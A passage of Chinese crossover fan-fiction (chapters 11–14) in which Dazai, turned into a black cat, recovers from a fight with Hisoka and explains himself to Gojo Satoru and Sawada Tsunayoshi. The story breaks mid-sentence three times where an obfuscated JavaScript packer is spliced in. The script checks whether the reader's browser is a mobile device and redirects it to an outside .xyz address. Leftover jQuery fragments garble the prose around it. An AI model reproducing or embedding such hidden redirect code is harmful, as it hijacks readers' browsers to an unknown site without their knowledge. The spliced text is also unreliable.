一阵清脆的笑声骤然响起,打破了这尴尬又窒息的空气。 太宰拍着地板大笑,笑着笑着一不小心从他占据的制高点处滚了下来,扑通一声摔在地上,但就算出了这样的意外,笑声也全程没停过。 “喂你……”五条悟刚不满地张开嘴,便听到了另一道刚刚让他永世难忘的嗓音,“太宰,我也很中意你,要长成一颗很棒的苹果哟(发射同款爱的小心心)” 笑声戛然而止。 11. 笨蛋纲吉 “不不不,你中意他就可以了。”太宰赶紧从地上爬起来,恨不得当场给他表演一个拒绝三连。 真是风水轮流转,今年到我家。 瞧见太宰比他反应更大,五条悟当即不觉得尴尬了,他扬起嘴角,大笑了几声。 “不要害羞嘛,你们两个我都很中意哦??”西索用一种坚定的语气承诺道。 你到底在承诺些什么乱七八糟的东西啊?!太宰摩梭着扳机,想着要不要干脆再给他一枪。 他头顶那双黑色的猫耳朵明晃晃地向后撇,但因为以前没有过这种器官,业务不熟练,他自己都没注意到,自己头顶还有个喜欢暴露主人心情的叛徒。 “苹果树下等苹果,我是那最辛勤的果农呀~”曲调离奇的唱词突然在空间里响起,太宰抬起头,西索的身影已经消失了,就在刚才,不知道用什么方法,他一闪身就出了废弃仓库,这会儿连人影都瞧不见了。 只剩下声音远远飘来:“我们天空竞技场见??” 余音渺渺,渐行渐远。 “谁要和变态见面啊,我才不会去天空竞技场呢。”太宰小声嘟囔着挽了个枪花,黑色手枪消失在他手心。 这把黑色手枪是16岁猫耳少男形态的自带武器,射出去的子弹带着奇妙的,可以破除任何超自然力量的功能。 说起来这和他的异能力『人间失格』有点像,只是『人间失格』的效果是使所有接触到的异能力失效,只针对异能力,而这把武器针对的范围不仅包括异能力,还包括其他类型的超凡能力,打击范围更大。 在他变身之后,这把武器自动出现在他手里,同时它的功效也主动浮现在他脑海里。 可以主动选择手枪是出现还是消失,里面一共六发子弹,有一个小时的冷却时间,确切地说,冷却时间是从射出第一发子弹开始计算,一小时后,不管里面还剩下几颗子弹,手枪都会自动变成满编状态。 虽然形态和普通手枪一模一样,但有效射程高达150米,比普通手枪的射程更远,威力也比普通手枪更大,在这个距离内打中会造成一定程度的伤害。 太宰抬起头,环视一圈。 经过激烈战斗的摧残,本就破旧的废弃仓库越发残破,偌大的空间里,几乎看不见一件完整的物体。 布满脚印的大理石地板上,细密的裂纹比比皆是,随处可见人头大小的坑洞和不规则的碎裂材料,五条悟和西索重点对打的中心区域最严重,那里几乎被他们削掉了一层皮,露出下面夹杂着灰黑色碎屑和绿色草籽的黄色土地。 像跳格子一样,太宰一蹦一跳地穿过布满坑洞的区域,越过中心的黄土地,来到仓库的西北角,猫耳少女玲正蜷缩着侧躺在这里。 这里幸运地没有被战斗波及,还勉强保持着完好的状态。 走到近处的太宰蹲下身,视线在她身上来回扫视了一遍,神色严肃地问道:“玲,你的伤势怎么样?” “结束了吗?”玲迷迷糊糊地睁开眼睛,太宰注意到她的脸色很是苍白,唇角留有一缕暗红,是血迹干涸后的样子,上身胸襟处也被染红一大片。 “不用担心,西索已经走了。” 恍惚松了一口气,玲一只手捂着肚子,慢慢坐起身,不知道是不是动作间扯到了伤口,她突然皱起眉,咬住自己的下嘴唇,缓慢地眨了眨眼,瞳孔深处痛苦之色一闪而逝。 定了定神后,她以一种冷静的口吻评估自己的伤势:“不要紧,估计只是内脏破裂了而已。” 太宰蹙起眉头。 瞧见他的样子,玲突然提出另外一个问题:“那个,你是什么时候学会化形的?” 这个问题,自从她看见太宰变身后就一直想问了,而且,她突然发现自己不想看见他的脸上出现那种表情。 小帅哥这样轻蹙眉头,眸光淋漓地望着她,真是叫人心痛得厉害啊,比现在身体上的痛苦还要让她难受。 “这个啊,你不是在我在面前变过一次吗,那个咒语我也听见了哦,刚刚情况紧急,所以我就试了试,没想到只试了一次就成功了呢~”不知道她脑补了一大堆有的没的,太宰的唇角向上弯起,“呀,这个还挺简单的。” 简单吗?玲似乎想到了什么,表情突然变得很奇怪,像是想哭又像是想笑。 “你的伤……” 看着太宰收起笑容,似乎想说什么的样子,她急忙打断道:“放着不管的话,大概半个月的时间后我也会自愈到健康状态,我们猫之一族的自我恢复能力还算不错。” “这样啊,”太宰若有所思地看了她一眼,转身冲背后目光灼人的五条悟打了个招呼,“五条老师。” “干嘛?”五条悟严肃地望着太宰治,“我还没问你和被通缉的那个人之间有什么关系呢?还有……” “好啦好啦,这些等下再说,”太宰打断他的话,招手让他过来,“能麻烦你送你可爱的学生去医院吗?” 玲:“不用去医院。” “你怎么不自己送她去?”五条悟大步走过来,站在太宰旁边,冲玲伸出手。 玲盯着面前那只手,迟疑了一会儿,搭着他的手慢慢站起来。 难道五条老师不知道是她带走了小帅哥?哇呜,这种等待另一只靴子落地的感觉真难熬。 不过,大帅哥和小帅哥站在一起,是真养眼啊! 两眼冒桃心的玲在心里捧着脸笑了一会儿,耳朵能够再次接收外界声音的时候,帅哥们的对话已经变成了争论这件事该由谁去通知她的家长,她急急忙忙跳出来重申一遍自己的主张:“我真的不用去医院。” 刚刚的问题很快就有了结论。 “这样的话,岂不是什么事情都要让我来做?”五条悟指着自己的鼻子,一脸不可理喻地问道:“那你打算背着我干嘛?” 太宰:“我有预感……” 两个人一致忽略掉了玲的要求。 接下来的声音突然变成了喵喵喵,五条悟定睛一看,本该长着猫耳少年的地方只剩下一只一尺来长的小黑猫,还是他没见过的,头顶飞机耳,低气压萦绕全身版本。 猫耳少男的魔法变身时间到此结束。 才三十分钟。 原来是这样。 “五条老师,找到猫咪了吗?”就在这时,仓库门口出现了一个他们都熟悉的身影。 “你来得正好,纲吉,”五条悟眼睛一亮,抓着黑猫的后颈,把他提起来,扔向从门外走进来的人,“你负责看着这个小坏蛋。” “我要带这位受伤的同学去一趟医院,在我回来之前,你看住他,别让他跑了。” “喂五条老师!”还没来得及多抗议几句,走到半路上的沢田纲吉便手忙脚乱地去接被扔过来的黑猫,确认黑猫到了手里后他长吁一口气,不满地瞪了一眼五条悟:“如果我没来得及接住小猫咪,那要怎么办?” “没问题的,老师相信你哦~”五条悟嬉皮笑脸地冲他比了个大拇指,随后带着玲一起离开废弃仓库。 “哎,五条老师真是……”纲吉长叹一口气,看了一眼凄凄惨惨的仓库,脸色逐渐窘迫起来,“这……不会都要我来收拾吧?不会吧?” 环顾四周,这里还能站着的人形生物,不管怎么看都只有他一个。 也罢,纲吉认命地低下头,把黑猫装进外套口袋里,走去附近一栋大楼,找到保安室。 他去的,离废弃仓库最近的那栋大楼禁止宠物出入,而被他装进口袋的黑猫又有点不安分,爪子扒拉着口袋内侧,非要探出一个小脑袋。 这就害惨了他,在向保安大叔开口求借工具的时候不仅要尽量侧着半边身体,还得遮遮掩掩地用手挡住黑猫脑袋所在的位置, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506844|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深怕别人看见。 看他姿势离奇,保安大叔还以为他身体哪里痛,让他尽早去医院看看。 在这个话题上和过度热心的保安大叔来回拉扯了一会儿,好不容易说服保安大叔他没问题,纲吉才提出他的请求,借来扫帚和簸箕,身心俱疲地走回去。 再花了大概半个小时把一地碎片打扫干净,在门口堆成一堆。 还回去借来的工具后,站在仓库门口,看着里面至少不像台风过境了,纲吉擦掉脸上的汗水,露出一个微笑,“这样就好了。” 笨蛋。 堪称安分地看着纲吉做完这一切,太宰在心里给他下了一个定论。 正腹诽着呢,他突然被一双手捧了起来,然后就看见纲吉睁着一双棕色的大眼睛,认真地对着他道:“现在你可以出来了,我们回去吧。” 小黑猫忍无可忍地闭上眼睛。 带着黑猫,纲吉一边往回走一边不解地挠了挠额头,“这不是很乖吗?既不闹腾着干扰我干活,也不突然从头发里掏出来一颗即将爆炸的炸弹,你可比蓝波乖多了,五条老师为什么要叫你小坏蛋啊?” “他还让我看着你,你又不会突然跑掉。” “今天和学校请了一下午的假,接下来的时间都不用去学校上课了,那我们干脆直接回家吧。” “啊,已经三点多了,现在去一趟超市好了,等五条老师回来我们可以一起吃饭。” “要买什么菜呢?家里的鸡蛋不多了,这个需要买,今天晚上正好做蛋包饭,再给你买一点小鱼干,五条老师喜欢吃甜的,那就买一点赤红豆和红糖,做红豆汤正合适。” …… 太宰一路听着他的碎碎念,家常的、平凡的、没有半点负面情绪,充满热情的。 名叫纲吉的这个人,真是浑身都充满人间烟火味呢。 但这不妨碍他在纲吉逛超市时,突然出手,按住一只在水里悠闲自在吐泡泡的螃蟹。 于是水产市场门口出现了离奇的一幕,一只黑猫扒在透明塑料盒上头,猫爪子伸进水里和螃蟹打架,打得那叫一个水花四溅,精彩纷呈啊,真可谓——钳子与猫爪齐飞,水花共长天一色。 旁边站着的纲吉脸色烧红,不断地向摊主道歉。 这场面,真是美如画。 纲吉倒是很想拉走黑猫,但黑猫这个时候却像是突然领悟了凌波微步一样,身法灵活得不可思议,叫他怎么抓也抓不到。 “哈哈哈哈,学生仔,你干脆把螃蟹买回去吧,”摊主大叔摆了摆手表示他并不介意,笑着对着他挤挤眼:“我看你家猫是不会放过我的螃蟹了。” “……”纲吉按了按太阳穴,有气无力地指着和他家猫打架的螃蟹道:“麻烦帮我把那只螃蟹包起来吧。” 看着摊主大叔流利地分开螃蟹和黑猫,熟练地抓起螃蟹,纲吉在心里哽了一下,数着钱包里仅剩的几张纸币,不禁在心里流下宽面条泪水。 买了螃蟹之后,就没有多余的零花钱了,他本来还想买点别的的说。 “对了,如果你家猫是第一次吃螃蟹的话,只能少量的给一点,需要观察它是不是对螃蟹过敏。”摊主大叔一边麻利地把螃蟹五花大绑,一边充满同情地对纲吉说道:“养猫真是一件麻烦事啊,你说是不是?” “是……是啊,谢谢大叔的提醒。” X﹏X。 另外一边,全自动家庭闯祸机器满意地看着战败(自封)的螃蟹被装进塑料袋里,毫无愧疚地主动钻回纲吉的口袋,带着一双湿漉漉的爪子。 嗯,他的的确确毫无愧疚。 纲吉拎着装螃蟹的袋子,买下全部预定要买的材料,排队付钱后走出超市。 望着天边的夕阳,花光身上所有钱的他眼神变得雾蒙蒙的,喃喃自语:“五条老师说得对,就叫你小坏蛋吧。” 12.月棱镜威力,变身! 傍晚六点多,五条悟回到他和纲吉共同居住的房子里,一打开门,食物的香气就钻进了他的鼻子里。 饥饿感突然鲜明了起来,五条悟摸了摸空荡荡的肚子,大跨步走进餐厅,一抬眼便看见一张摆满了食物的餐桌。 米白色方形餐桌上,陈列着一只蒸螃蟹,两份蛋包饭,一小碗小鱼干,两碗红豆汤以及若干小菜,丰盛程度看得人眼花缭乱。 处理完玲同学的事情后,他曾和纲吉打过一通电话,说明自己大概会在什么时候回去,当时电话里的纲吉没说什么,五条悟就没多想,没想到一回来就看到纲吉已经做好了晚餐。 平时的话,他们都是点外卖或者去饭店里吃,偶尔打包一份带回来,自己做饭的时候还是比较少的。 “哇好丰盛,纲吉你还买了螃蟹?”五条悟拉开椅子坐上去,对着桌面双手合十,“我要开动了。” “这是小坏蛋想吃的。”沢田纲吉把放螃蟹的盘子拉到自己面前,抓起螃蟹,去掉硬壳,把剥好的蟹肉一一堆到另一只白色瓷盘里。 “小坏蛋?”五条悟怔了一瞬,似乎忘掉了自己下午说的话。 “就是它啊!” 跟着纲吉的手指转动视线,他正好看见隔壁座位上冷不丁探出来一个黑猫头,黑乎乎的爪子扒在桌子边沿,一双鸢色眸子炯炯有神地盯着放蟹肉的盘子。 他全部想起来了。 放下筷子,五条悟一把将黑猫薅到手上,揉着他的脑袋质问道:“你这家伙到底是谁?” 做出如此冒犯行为的他立刻得到了新鲜的一嘴齿痕。 ——手掌吊猫图重出江湖。 “……呃,五条老师?”沢田纲吉不理解且大受震撼。 “这只猫会变身,变身后的脸和那个太宰治长得一摸一样,也说不定就是那个太宰治呢,”五条悟解释道,斜着眼睛撇了一眼黑猫,“干脆明天就拿他去领赏金……” 黑猫的牙齿重重地嵌入肉里。 “血……”沢田纲吉迟疑地问道:“五条老师,你的手在流血欸,不要紧吗?” “当然要紧了,手上吊着一只猫我可怎么吃饭啊!” 五条老师真是完全不值得同情啊,纲吉按了按太阳穴,一脸疲惫地道:“……你别招惹它不就行了,把猫放下,我们先吃饭吧。” 五条悟晃了晃手,吊在他手上的黑猫也跟着晃了晃,“看在纲吉的份上,我放你一马,快松开嘴。” 黑猫松开了嘴。 “咦,这么听话?”这下倒是五条悟感到不满意了,他睁着一双苍蓝色眸子,紧紧盯着自由落体式降落在桌上的黑猫。 眼见黑猫一落地就飞快地倒腾着四条腿,一溜烟冲到放蟹肉的盘子面前,埋头猛吃起来,他的手不由得开始蠢蠢欲动。 “五条老师?”似乎察觉到了他这份心态,纲吉抬起头,警告性地喊了他一声。 “嗨~嗨~”五条悟举起双手,做了个投降的姿势,手背上被咬出来的鲜红齿痕此时已然消失——他用反转术式治好了自己。 才收回紧迫盯人的视线,纲吉就立刻开始操心另外一件事:“小坏蛋,不准再吃了,过敏了怎么办?等、哎等一下,就这么短的时间,你怎么全都吃光了?” 五条悟低声笑了起来。 “喂五条老师,你也别光顾着笑,猫可是我们俩一起养的,你一点都不担心吗?” …… 半个小时后,这叫人心累的一顿饭总算吃完了,全程大概只有太宰一个猫吃得欢,这不,一整只蒸螃蟹全进了他的肚子。 饭后,两个人类外加一只猫转战阵地,黑猫蹲坐在客厅的岩板茶几上cosplay招财猫,五条悟和沢田纲吉则围着他就坐。 两堂会审的架势让周遭的空气都重了几分。 “老实交代,你悄悄混进我们这里有什么企图?”五条悟抱起双臂,气势凛然地发问。 “嗯?五条老师,你不是说这只猫是你捡回来的吗?” “纲吉,别插嘴。”五条悟仍然虎视眈眈地望着黑猫。 黑猫保持蹲坐的姿势一动不动,仅仅只是懒洋洋地抖了抖耳朵,完全不受他气势的影响。 见一问不成,他接着一股脑提出好几个问题:“西索是怎么回事?他为什么会出现在那里?还和你打起来了?还有叫玲的那个女孩,就是她从我办公室里把你偷走的吧?” 黑猫张开嘴打了个哈欠,一截粉嫩的舌头一闪而逝。 “你和那个被通缉的太宰治有什么关系?” 黑猫眨了眨眼,抬起来的脸上,一双圆溜溜的鸢色大眼睛占据了人类的全部视线,看着就是一副天真又无辜的猫样,仿佛在说他什么都不知道。 “西索叫你太宰治,你没有反对,说明你自认为自己是叫这个名字,但你的眼神和通缉令上的那个太宰治截然不同,你和他肯定不是同一个人,在这一点上,我确认自己还是有那么一点分辨力的。” 五条悟完全不受黑猫的影响,沉浸自己的推理里,不知天地为何物:“难道你是看到了电视上的通缉令之后,觉得那人长得好看,所以变形时特地选了那张脸?” “我听到的许多民间传说中,妖怪都是可以选择变成人之后自己长什么样的,很难说你这种猫妖是不是也是这样啊。” 偷走?长得像被通缉的太宰治?猫妖?! 什么也不知道的沢田纲吉:“……” 这一天,你们过得可真是精彩啊,哈、哈哈。 “哎呀五条先生想象力这么丰富,可以去写小说了呢~” 一道以前从没听过的清朗声音打断了他的浮想联翩,纲吉抬起头,白色岩板茶几上方的黑猫消失了,取而代之的是一位摆着黑猫同款姿势,头顶一双猫耳朵,身后长着一条猫尾巴的乌发鸢眸少年。 “哇呜真的是妖怪啊!”纲吉尖叫一声,吓得连连后退,突然,哐的一声响起,那是他一不小心带翻了身后的椅子,紧接着的是一阵劈里啪啦的声音,他自己也被绊倒了,还给倒在地上的椅子造成了二次伤害。 “真是失礼呢……”瞧见这由一个人制造出来的热闹场面,猫妖本妖也不由得失语片刻才接着念出自己原本的台词,只是气势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511660|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不免降低了几分,“我才不是妖怪。” 听见他似乎中气不足的话,纲吉从地上爬起来,挠了挠后脑勺,通红着一张脸连连道歉:“原来你不是猫妖啊,对不起对不起,那请问你是……?” “自我介绍一下,”黑发少年笑了笑,伸展身体,轻巧地跳到地上,没有发出一点声音,就像是一朵蒲公英随风飘落到田野上一样,“鄙人名为太宰,太宰治,来自武装侦探社,是一名侦探哟~” 默默围观这一出闹剧的五条悟皱了皱眉。 明明穿得这么严肃,但这家伙说话的口气却颇为活泼,而且侦探什么的,和他一身黑漆漆的打扮是否有那么一点点不和谐? “啊这个吗?”敏锐地注意到了他的疑惑,太宰向他投过来一眼,低头看着自己身上的黑西装,一脸苦恼地道:“其实这不是我本来的衣服呢,不知道为什么变成人后就穿成这样了。” “还有绷带,”说着他摸上被绷带绑住的眼睛,“哎呀这么多年过去我都有点不适应了呢~” 差不多摸索了一秒钟,他就像是找回了手感,极为流利地开始解绷带,先是解开系在脑后的线头,然后顺着线头的方向抽出绷带。 白色绷带一圈圈散开,蜿蜒着落到地板上,慢慢露出他完整的五官。 乱蓬蓬的卷曲短发下是一张姣好的脸颊,没有伤疤也没有粉刺,被绷带绑住的右眼和左眼一样完好无缺,是和当猫时一样的鸢色眼眸,单是轻轻一眨就透出一点灵动的色彩。 比起通缉令上的那人,眼前的人即使年少也明显风采更胜一筹。 “太宰君,我叫沢田纲吉,你可以叫我纲吉。”不知道是不是因为他相当亲和的态度,沢田纲吉这会儿已经一点也不害怕了。 “哟,纲吉,你好啊~” 五条悟回过神后,才发现他一没注意,那边的两人就聊上了,而且‘初次见面的两个人’对彼此的印象似乎都还不错,谈话的整体氛围给人一种轻松愉悦的感觉。 纲吉确实是一个好相处的人,不管是对着谁,他的脾气一直都很包容。 至于这位太宰治,五条悟直觉这人并不是一个好说话的人,但他对纲吉的态度竟然这么、这么……应该说是友好还是宽容呢? 总觉得自己错过了什么关键信息。 晃了晃脑袋,五条悟刷的出现在谈得很热烈的两人中间,用自己的身体实质性地隔开他们的视线,然后对着纲吉双手比×,“喂喂喂,纲吉,这位可不是什么可以轻松聊天的对象,是正在被我审问的嫌疑犯哦!” “哎~?五条先生说话未免也太失礼了点吧,”太宰不满地撅起了嘴,“我有做什么成为你眼中嫌疑犯的事情吗?” 五条悟转过身,身体前倾,从高处往下俯视他,相当不客气地说道:“你别想就这样含混过去,还有,下午那个时候你不是说等下再说吗?现在就是那个等下了。” “好嘛~_~,”太宰摊开手,往后退开两步,从五条悟身边绕过去,在他对面的米黄色沙发上坐下,单手抵着下巴,笑吟吟地道出一句话:“我不是这个世界的人。” 13.说,你和那个人有什么关系? 效果很不错,看着两人脸上各异的表情,太宰眨了眨眼,继续说道: “我是被一只名叫猫之千的布偶猫带过来的,我在这个世界的唯一目标就是去找到它,让它把我送回我本来的世界去,玲是被我找到……准确点说,是自己撞到我手里的线索,她认识猫之千,他们是同一个族里出来的猫妖。” “玲本来答应带我去找它,但西索冒了出来,他一来就把玲打成重伤,所以我给了他一枪,这没什么好说的。” “有关你的另一个问题,西索为什么会出现在废弃仓库还不得而知,不过我猜他应该并不是无意出现,而是特意来找我们……”顿了一下后,他改口道:“来找我的。” “你怎么知道?”五条悟怀疑地问道,“你不是说你不是这个世界的人嘛,那西索应该不认识你,他怎么会特意来找你?” “怎么知道的嘛……”太宰拉长了声音,说着说着垂下眼帘,将拇指抵在嘴唇上,神色严肃,似乎在思考着什么。 看着他的表情,五条悟不禁思考起来:难道这里面还藏着什么不可告人的秘密吗? 一分钟时间过去,五条悟已经基本确认自己的猜测很有可能是真的,看着太宰的目光都隐隐变得肃穆起来。 而就在这个时候,太宰抬起眼帘,不慌不忙地看向他,脸上露出一个深深的、深深的坏笑:“西索他自己说出来的呀~” 五条悟:? 他好像被这么个小不点戏弄了?!! 旁边,安静看两人过招的沢田纲吉不由得虚起眼,但也只敢在心里蛐蛐:真是好胆色啊,敢当着五条老师的面这么涮他的人类,我还只见过你一个! “我说的都是真的哦,”在五条悟突然变得凌厉的视线里,太宰无辜地眨了眨眼,补了一句:“不过嘛,即使他自己不说出来,我也有一个……大概还算不上证据的理由。” “你——说,”似乎是咬着牙的声音响起,但说到下一句时,五条悟缓缓露出一个笑脸,一个满满都是威胁感的笑脸,“说不出个所以然来你就死定了哦~” “欸,还有这种好事?”太宰双手捧着脸,不好意思地笑了。 五条悟觉得太宰有点莫名其妙——我是在威胁你欸!你怎么是这种反应?于是他扬起自己沙包大的拳头,在太宰面前威吓性地转了一圈。 太宰的视线跟着五条悟的拳头转动,如他所愿地皱起眉头,“会痛吗?” “当然会痛了,我打人一向很痛哦,还是千刀万剐那种程度的痛苦。”五条悟重重地点了点头,意味深长地看向他,“你也不想平白吃这种苦头吧?” “噗……”没想到回应他的是一声笑,紧接着变成大笑,“哈哈哈哈哈……” 太宰笑得歪倒在沙发上,捂着肚子滚来滚去,片刻后,他才揉着肚子重新坐好,当然,这回的坐姿也同样不甚端正。 “五条先生,你实在不适合假装威胁人哦,”说这话时他的脸上还残存着一点笑意,“要我说的话,那个样子恐怕只有不懂事的小孩子才会被你骗过去呢~” 五条悟攥紧了拳头。 他确实是在假装威胁啦,毕竟对面那个小鬼既不是腐烂的老橘子,也不是应该被消灭掉的咒灵,他还真不能对着他拿出面对敌人的态度。 但,他的假装就这么没有威慑力吗? 看着他的表情,太宰转了转眼珠子,满脸笑意地道:“不过呢,作为逗乐我的报酬,我还是稍微给你解释一下吧。” “玲带我去的那个废弃仓库着实很偏僻呀,”他在偏僻两个字上加重了音量,“当初她一时情急,带着我一起逃跑……” “等下,我到现在都还不知道玲同学为什么要把你一起带走。”听到这里,五条悟突然插了一嘴。 “早上的时候你不是搞了一出胡闹的祈神仪式吗?”太宰意味不明地瞟了五条悟一眼,“她也是排队祈祷的人选之一,当时我们见过一面,我看见了她头顶的猫耳朵,她估计也从我的眼神中看出点什么,认出我不是普通的猫咪,但却认为我可能是她流落在外的同胞。” “等等,猫耳朵,像长在你头顶上的这种猫耳朵?”纲吉忍不住问道,好奇的眼神在太宰的头上不住流连。 “哦,你们还不知道呢,”太宰解释道,“你们嘴里的玲同学全名猫之玲,是猫之一族的猫妖,本体是一只狸花猫,但可以变成人形,不过这种形态会带上猫耳朵和猫尾巴。” “估计是为了混进你们那个学校,人形态时的玲会隐去自己的猫耳朵和猫尾巴,这个小把戏在外人眼里是有效的,唯独对她的同族无效。” “就因为这样,玲同学才会认为你是她的同族?”纲吉面色复杂地说,“但你知道自己不是。” 太宰点点头,默认了。 “看见我的时候,这颇有同情心的姑娘可能就有了想法,下午才偷偷过来找我确认一二,然后看见……”说到这里,太宰垂下眸子,纤长的睫毛若蝶翼般颤了一颤,遮住眼底的神色,神态微妙地看起来有点忧郁。 顿了一下后,略过她当时看见了什么,他继续说道:“她是趁着五条先生你去上课的时候过来的,但还没等她问出问题,下课铃声就响了,情急之下,脑子一时糊涂就带着我一起逃之夭夭了。” 望着太宰线条沉郁的侧脸,五条悟顿时想起自己当时干了什么好事,一时之间心里莫名生出一股负罪感,一个想法也油然而生——难道玲同学是以为他有什么特殊癖好,所以出于一时义愤才带走黑猫的吗? “接着说回上一个问题,”注意到他不敢置信的神色,太宰半阖着的眸子里涌起一丝笑意,嘴角也隐蔽又俏皮地翘起来一点,“玲带着我,既不敢往自己家去,也不敢回头去找你,那么她会去哪里呢?” “人类在慌不择路的情况下往往会选择潜意识认为安全的地方。” “自认为去的那个地方没有人会找到,说明那个地方她以前经常去,很熟悉那里的情况,在她的认知里,那里是只有她自己知道的秘密基地。” “这说明这个地方确实少为人知。” “周围也没有什么出名的建筑物,因为我有特意观察,一路上所有建筑物都是冷冷清清的,没什么人气,显而易见的不出名,所以西索肯定不是来旅游的。” “在昨天看到的电视里,主持人告诉我们西索正在筹备一场以死亡为代价的赌局。即使死亡对他来说不是什么大不了的事情,但这场由他自己主持的活动,他自己至少会保持一定程度的重视。在这个节骨眼上,他不可能出于无聊或者别的什么大不了的理由出现在这里。” “所以他是目标明确地出现在这里。” “至于为什么说是来找我的,听我说了这么多,你们应该很简单就能猜到吧,我就不继续详细解释了。”太宰恹恹地半阖眸子,语气越来越低沉。 他不是很喜欢同别人解释一大堆有的没的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525092|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ……其实,以上这些,至少有一半都是在胡扯。 用排除法做出推断,一般只有在掌握了所有可能性的时候,但这个世界对太宰来说还很陌生,他不会在自己没有掌握全部情报的情况下做出这样轻率的推断。 所以他刚刚说出口的才是,他有一个大概还算不上证据的理由。 不过,这点糊弄糊弄其他人也足够了。 光看另外两位听众的表情,太宰也知道,他们相信了他这番说辞。 确实,纲吉听完后就在心里直呼妖怪,他还没忘记刚刚太宰当着他的面变身给他带来的冲击,这会儿直面另一重冲击,不由自主地就把太宰和妖怪一词联系起来。 各种意义上,都是一种对他的称赞。 至于另外一位听众嘛,到底是久经历练的成年人,即使惊讶也不会直白地表现到脸上,但那些不明显的微表情还是躲不过太宰的眼睛。 总之,两人都顺利地接受了这个理由,并认可西索是来找太宰的。 原因如何不好说,但这个结论倒是没什么问题。 五条悟垂下眸子。 是因为这家伙自身的特殊性吗? 现在想来,下午他见到的西索确实不怎么关心玲同学,直到离开都没有提过玲同学一句,反倒是对他和太宰很有兴趣,原本他还以为是太宰那一枪的原因。 ——典型的从结论倒推证据。 自认为捋顺了逻辑链,五条悟问出下一个问题:“那你和通缉令上的那个太宰治是什么关系?” “什么关系也没有哦~”似乎是看出了他眼里的不信任,太宰摊了摊手,继续解释道:“那个太宰治给出的信息量太少,无从推断。” “我告诉过你吧,我是昨天才意外来到这个世界的,和你们一样昨晚才在电视上知道那张通缉令,所以有关他的背景,身份,被通缉的原因,我一概不知道。” “非要说有什么关系的话,我们同名同姓,有着同一张脸……”他瞟了五条悟一眼,略微停顿了一下后接着说道,“但我可比他有人望多了。” “本人深受侦探社上下同僚和附近所有民众的爱戴,是绝对不会登上通缉令的!”说到这里的时候,他笑容满面地在在下巴处比了个八字。 望着这张含着轻佻笑容,阳光度百分百的脸,五条悟心里那是一百个不相信。 只看下午那一枪,不仅果断凌厉,而且出手的时机也是恰到好处。 没有提前被西索这个级别的强者发现,更是说明他隐藏气息的本事也是一绝,即使他当时处于西索的视野盲区,也不应该这么容易就打中。 而且,在命悬一线的情况下,出手仍然没有一丝一毫的动摇,精准得不可思议,这不就是在明晃晃地对他说这家伙不畏生死吗? 普通的侦探能做到这种地步? 要说这家伙没有在凶险的地下世界混过,他倒立洗头。 不是普通侦探的话,莫不是杀人侦探? 在五条悟的印象里,普通侦探负责的是找猫找狗抓小三,亦或者,老板/老板娘出钱,侦探就去抓拍另一方的出轨证据,大概这一类的工作。 一般人也确实想象不出来日常工作包括破案且不限于此,还要负责保卫城市的侦探。 横滨毕竟市情不同,那可是个冥风淳朴,夜间火拼和日间爆炸都不在话下,偶尔全横滨一起上天,共同遨游天界的概率也绝不为零的好地方。 14.关键时刻不给力的技能 “啊对了,”太宰突然打了个响指,清脆的指关节碰撞声顿时吸引了所有人的注意力,“救我一命这种事情,虽然五条先生做得很多余,但我姑且还是应该向你道一声谢。” “谢谢你的多此一举哦~” 看着他脸上什么信息也看不出来的微笑,五条悟的嘴角不由得抽了抽,这家伙到底是在道谢还是在抱怨啊?总不能是两者都有吧?真是搞不懂这奇怪家伙的脑回路哎。 “好啦,全部问题回答完毕,哎呀像我这样诚实的人你们要去哪里找啊?”太宰笑吟吟地自夸了一句,竟也不让人觉得讨厌。 “那么,你们两个还有什么问题吗?是说我现在变成的这种状态可以维持的时间很短哦,变回猫之后就不能和你们沟通了。” “嗯……得等下一次变身,”他摸了摸下巴,冲着两人露出一个过于阳光明媚反而像是在威胁的笑容,斩钉截铁地道:“但(我觉得)很麻烦所以请你们务必一次性解决。” 斜侧方站着的五条悟张开嘴,一个字都还没吐出来,就又听到了太宰的声音:“虽然我是可以用爪子打字,但我绝对不会想要这么干的啦~” 似乎是看出他想说什么,太宰很干脆地提前拒绝了。 “还有其他问题的话尽快问哦~” “我没有问题。”沢田纲吉高高举起手,仿佛他正在课堂上回答老师的问题。 “很好,纲吉同学很棒哦~”16岁的太宰老师朝他点点头,然后慢吞吞地望向另一个人,“那么,只剩下麻烦的五条先生了,请问你还有什么问题吗?” “我觉得你在针对我。”麻烦的五条先生在太宰对面的沙发上坐下,一双晴空一般透亮的苍蓝色眼眸径直对上太宰那双夕阳一般的鸢色眸子。 两人的视线都如同钢铁一般坚硬,碰撞上的那一刻,纲吉都担心是不是要冒出火星子来,下一步也许就该点燃大海了。 